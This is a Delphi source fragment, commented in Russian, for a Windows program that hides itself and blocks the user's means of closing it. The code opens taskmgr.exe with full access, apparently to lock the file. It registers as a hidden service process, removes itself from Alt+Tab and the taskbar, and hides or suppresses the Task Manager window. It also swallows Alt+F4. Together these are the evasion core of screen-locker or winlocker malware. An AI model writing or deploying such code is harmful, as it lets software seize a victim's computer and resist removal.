Var H:THandle;
     C : PChar;
     Res: integer;
begin
   C:=StrAlloc(255);
   GetSystemDirectory(C,255);
   h:=CreateFileA(PChar(StrPas(C)+'\taskmgr.exe'),GENERIC_ALL,FILE_SHARE_WRITE +  
                    FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
   Edit1.Text:=PChar(StrPas(C)+'\taskmgr.exe');
end;

procedure TForm1.Okoshko(Sender: TObject);
begin
Form1.show; //Мы поверх окон
end;

procedure TForm1.FormCreate(Sender: TObject);
var  //Нас не видно в alt+tab и таск баре
    RegProcess: function (p1, p2:integer): integer; stdcall;
    hDllKernel: HInst;
    TDWH:THandle; //Переменная для отключения диспетчера
begin
    if GetVersion >= $80000000 then begin
      hDllKernel := LoadLibrary('kernel32.dll');
      RegProcess := GetProcAddress(hDllKernel, 'RegisterServiceProcess');
      RegProcess(0, 1);
    end;
    ShowWindow(Application.Handle, SW_HIDE);
    SetWindowLong(Application.Handle, GWL_EXSTYLE,
      GetWindowLong(Application.Handle, GWL_EXSTYLE) or
      WS_EX_TOOLWINDOW);
      //Отрубаем диспетчер
      TDWH:=FindWindow(nil, 'Диспетчер задач Windows');
if TDWH=0 then ShellExecute(0,'open','taskmgr.exe',nil,nil,SW_HIDE)
else ShowWindow(TDWH,SW_HIDE);
end;

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
    Shift: TShiftState);
begin
if (ssAlt in Shift) and (Key=vk_F4) then key:=0;  //Запрещаем alt+f4
end;